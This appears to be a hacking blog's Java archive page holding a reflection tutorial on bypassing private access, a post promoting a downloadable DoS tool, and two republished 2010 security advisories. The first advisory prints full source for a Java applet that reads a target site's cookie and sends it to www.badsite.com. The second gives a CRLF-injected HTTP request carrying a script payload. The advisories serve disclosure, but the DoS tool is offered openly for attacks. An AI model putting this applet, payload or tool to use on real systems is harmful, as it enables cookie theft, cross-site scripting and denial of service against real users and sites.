IP

Showing posts with label Java. Show all posts
Showing posts with label Java. Show all posts

Friday, August 19, 2011

Hack any Java class using Reflection


Ever wondered what evil power can be unleashed when using reflection? Do you think private methods are really only accessible from within the declaring class? Do you think that a private field can only be modified from within the declaring class? No? That's what I thought!! In this blog, I will try to demonstrate that it is always important to correctly set the security properties of your applications. For instance, let's look at the following example where we successfully retrieve a private password from another class:



1.  class A {
2.    private static String getPassword() {
3.      return "someHighlyPreciousPassword";
4.    }
5.  }
6.
7. public class Test {
8.   public static void main(String[] args) throws Exception {
9.     Class cl = Class.forName("A");
10.    java.lang.reflect.Method[] m = cl.getDeclaredMethods();
11.    m[0].setAccessible(true);
12.    String password = (String) m[0].invoke(null, null);
13.    System.out.println("I got it:" + password);
14.  }	
15.}
  
Output:
I got it: someHighlyPreciousPassword
 



Ok, the example is not really sexy. Let's mess up a class that implements the Singleton pattern. In the normal case, a singleton object is supposed to be the only instance of a given class. To achieve this, we usually declare the class constructor private, so that no one can invoke it. Well, as demonstrated below, with reflection we can bypass this restriction and create a second "singleton object".



1.  class A {
2.    public static final A singleton = new A("I'm the only instance of class A");
3.    private String name; 
4.    private A(String name) {
5.      this.name = name;
6.    }
7.    public String toString() {
8.      return this.name;
9.    }
10. }
11.
12. public class Test {
13.   public static void main(String[] args) throws Exception {
14.     Class cl = Class.forName("A");
15.     java.lang.reflect.Constructor[] c = cl.getDeclaredConstructors();
16.     c[0].setAccessible(true);
17.     A anotherA  = (A) c[0].newInstance(new Object[]{"Not anymore!!"});
18.     System.out.println(A.singleton);
19.     System.out.println(anotherA);
20.   }	
21. }
  
Output:
I'm the only instance of class A
 Not anymore!!
 



Using this technique, you can create an instance of any non-abstract class, even if all its constructors are declared private. For instance, below we create an instance of the Math class even though it is useless since the Math class has no instance method. Still, it is possible to do it.



1.  public class Test {
2.  public static void main(String[] args) throws Exception {
3.      Class cl = Class.forName("java.lang.Math");
4.      java.lang.reflect.Constructor[] c = cl.getDeclaredConstructors();
5.      c[0].setAccessible(true);
6.      Math mathInstance = (Math) c[0].newInstance(null);
7.      System.out.println(mathInstance);
8.    }
9.  }
  
Output:
java.lang.Math@1cde100
 



Finally, let's mess with the Runtime class which has one private static field for storing the current Runtime instance. This is another example of a badly implemented singleton class. Let's look at the code below. We first retrieve the current runtime object and display it (3-4). Then, we set the Runtime.currentRuntime static field to null, which means that all successive calls to Runtime.getRuntime() will yield null (6-9) since currentRuntime is initialized at class loading time. We then get the currentRuntime field again and display its value (11-12). And finally, we try to use the current runtime to execute a command for displaying the content of the current directory (14). The output talks for itself.



1.  public class Test {
2.    public static void main(String[] args) throws Exception {
3.      Runtime r = Runtime.getRuntime();
4.      System.out.println("Before: Runtime.getRuntime() yields " + r);
5.
6.      Class cl = Class.forName("java.lang.Runtime");
7.      java.lang.reflect.Field f = cl.getDeclaredField("currentRuntime");
8.      f.setAccessible(true);
9.      f.set(null, null);
10.
11.     r = Runtime.getRuntime();
12.     System.out.println("After: Runtime.getRuntime() yields " + r);
13.
14.     r.exec("dir"); //raises NullPointerException!!
15.   }
16. }
  
Output:
Before: Runtime.getRuntime() yields java.lang.Runtime@cac268
 After: Runtime.getRuntime() yields null
 Exception in thread "main" java.lang.NullPointerException
       at Test.main(Test.java:59)
 



All this could have been avoided if the currentRuntime field had been declared final. Nothing prevents setAccessible(true) to be called on the field (8) but when the set(null, null)method is called, IllegalAccessException is thrown with the message "Field is final".
I'm pretty sure that there is a huge amount of code out there that could be broken this way. Watch out!!

Thursday, August 4, 2011

TeV DoS Tool | Easy DoS Attack


This easy DoS tool was made by Elixed_ in java.
Direct download: https://www.dropbox.com/s/v7vb8ikl47kd8wl/TeV%20DoS.rar 


It only go down for you when your own internet is shit. Else it will be down for everyone, it uses your internet connection.

For the people that really wants a screen:

[Image: iGa0L.png]

Monday, August 1, 2011

Exploiting JAVA 7 difficult with ASLR !


Java 7 Released.Apart from the security enhancements mentioned, it looks like all modules are now protected with ASLR (Address Space Layout Randomization) so comparably  better protection from JAVA based exploits ! It's a very important security enhancement and going to give some hard time to write exploits for JAVA(JDK/JRE). Needless to say, Upgrade now.Kudos to Sun/Oracle !

Joshua: (via twitter)

"Java 7 is now available. All modules have ASLR enabled, so it is no longer possible to bypass ASLR via a Java ROP. Congrats to Oracle / Sun!"


JAVA 7 Security
http://download.oracle.com/javase/7/docs/technotes/guides/security/enhancements7.html

JDK 7 Download:
http://www.oracle.com/technetwork/java/javase/downloads/java-se-jdk-7-download-432154.html

JRE 7 Download
http://www.oracle.com/technetwork/java/javase/downloads/java-se-jre-7-download-432155.html

Monday, December 13, 2010

JRE - java.net.URLConnection class – Same-of-Origin Policy Bypass



Security-Assessment.com discovered that a Java Applet making use of java.net.URLConnection class can be used to bypass same-of-origin (SOP) policy and domain based security controls in modern browsers when communication occurs between two domains that resolve to the same IP address. This advisory includes a Proof-of-Concept (PoC) demo and Java Applet source code. This demonstrates how the security vulnerability can be exploited to leak cookie information to an unauthorised domain, which resides on the same host IP address.

Exploitation

The Flash movie demo can be viewed at the following link:
http://www.security-assessment.com/files/advisories/java_net_urlconnection_sop_bypass_demo.swf

The Proof of Concept (PoC) demonstrates that a Cross Site Request Forgery (XSRF) attack can be leveraged by using a Java Applet which implements the java.net.URLConnection class. Traditionally, XSRF is used to force a user to perform an unwanted action on a target web site. In this case, the PoC shows that XSRF can be used to capture sensitive information such as a cookie related to a target web site.

The following assumptions are made in this PoC:

1. The virtual hosts www.targetsite.net and www.badsite.com resolve to the same IP address;
2. A malicious user controls www.badsite.com web site;
3. A malicious user targets www.targetsite.net users.

The following table summarises the sequence of actions shown in demo:
1 User has a valid cookie for www.targetsite.net
2 The same user visits www.badsite.com which performs a cross site forged
  request to www.targetsite.net . The forged request is performed by a Java
  Applet embedded on the malicious site. The Java Applet bypasses the Same-of-
  Origin policy (SOP) as an unsigned Java Applet should not be able to communica
  from www.badsite.com to www.targetsite.net without a crossdomain.xml
  policy file.
3 Java Applet performs first GET request to www.targetsite.net. At this stage, th
  Java Applet already controls the Cookie: header sent to www.targetsite.net
  through the getRequestProperty("cookie") method. This is in breach with SOP.
4 A second request is done for the purpose of the demo which leaks
  www.targetsite.net cookie’s to www.badsite.com via an HTTP GET request.


Testing was successfully performed using Java(TM) SE Runtime Environment (build 1.6.0_21-b07) and the following browsers (all Windows XP):

Mozilla Firefox 3.5.8
Opera 10.60
Internet Explorer 6.0.2900.5512
Google Chrome 5.0.375.9
Internet Explorer 8.0.6001.18702
Safari 5.0 (7533.16)

MaliciousJavaApplet.java:

import java.awt.*;
import java.io.*;
import java.net.*;
public class MaliciousJavaApplet extends java.applet.Applet {
    TextArea messageLog = new TextArea(4, 40);
    public void init() {
      setLayout(new BorderLayout());
      add("Center", messageLog);
    }
    public void start() {
      try {
                             URL url = new URL("http://www.targetsite.net/default.html");
                             URLConnection connection;
                             String inputLine;
                             BufferedReader inReader;
          connection = url.openConnection();
                             connection.setAllowUserInteraction(false);
                             connection.setDoOutput(true);
                             messageLog.append("Request Property
"+connection.getRequestProperty("cookie")+"\n");
                             messageLog.append("File read from URL " + url + ":\n");
          inReader = new BufferedReader(
                   new InputStreamReader(connection.getInputStream()));
          while (null != (inputLine = inReader.readLine())) {
             messageLog.append(inputLine + "\n");
          }
          inReader.close();
                             messageLog.append("Request Property
"+connection.getRequestProperty("cookie")+"\n");
                             String cookie;
                             cookie = connection.getRequestProperty("cookie");
                             URL url2 = new
URL("http://www.badsite.com/default.html?cookie="+cookie);
                             URLConnection connection2;
                             String inputLine2;
                             BufferedReader inReader2;
          connection2 = url2.openConnection();
                             connection2.setAllowUserInteraction(false);
                             connection2.setDoOutput(true);
                             inReader2 = new BufferedReader(
                   new InputStreamReader(connection2.getInputStream()));
          while (null != (inputLine2 = inReader2.readLine())) {
             messageLog.append(inputLine2 + "\n");
          }
          inReader2.close();
      }
      catch (IOException e) {
          System.err.println("Exception: " + e);
  }
}
}


Solution

Oracle has created a fix for this vulnerability which has been included as part of Critical Patch Update Advisory - October 2010. Security-Assessment.com recommends all users of JRE and JDK to upgrade to the latest version as soon as possible. For more information on the new release of JRE/JDK please refer to the release notes:
http://www.oracle.com/technetwork/java/javase/downloads/index.html

Oracle Sun Java System Web Server - HTTP Response Splitting





Oracle Sun Java System Web Server - HTTP Response Splitting


Description

Security-Assessment.com discovered that is possible to successfully perform an HTTP Response Splitting attack against applications served by Sun Java System Web Server. The vulnerability can be exploited if user supplied input is used to generate the value of an HTTP header, as shown in the test.jsp page below:

test.jsp – Source Code

<html>
test
<%
response.setStatus(HttpServletResponse.SC_OK);
String ref = request.getParameter("ref");
response.setHeader("Referer",ref);
%>

The test.jsp page is vulnerable to HTTP response splitting when served by Sun Java System Web Server. HTTP Response Split can lead to Cross Site Scripting and browser cache poisoning attacks.

Exploitation

In this advisory, we will cover description of a Cross Site Scripting attack. The following HTTP GET contains a Cross Site Scripting payload which is included in the HTTP Header injection:

GET /test.jsp?ref=http://my.test.domain.com/%0D%0AContent-
type:+text/html;%0D%0A%0D%0ATEST%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1

By inserting CR and LF characters in the “ref” HTTP parameter, it is possible to split the HTTP response from the server as shown in the following table:

HTTP/1.1 200 OK
Server: Sun-Java-System-Web-Server/7.0
Date: Fri, 28 May 2010 12:44:55 GMT
Referer: http://my.test.domain.com/
Content-type: text/html;
TEST<script>alert(1)</script>
Content-type: text/html;charset=ISO-8859-1
Content-length: 22
<html>
test


The above example shows a JavaScript code injection in the split HTTP response. Consequently, it is possible to perform a Cross Site Scripting attack. The testing was conducted using the following settings:
* Server side: Sun-Java-System-Web-Server/7.0 Update 8 (default) installed on Windows XP SP3;
* Client side: Mozilla Firefox 3.5.8, Opera 10.10, Internet Explorer 8.


Solution
Oracle has created a fix for this vulnerability which has been included as part of Critical Patch Update Advisory - October 2010. Security-Assessment.com recommends all users of Sun Java System Web Server to upgrade to the latest version as soon as possible. For more information on the new release of patch for Sun Java System Web Server refer to the release notes:
http://sunsolve.sun.com/search/document.do?assetkey=1-79-1215353.1-1
http://www.oracle.com/technetwork/topics/security/cpuoct2010-175626.html#AppendixSUNS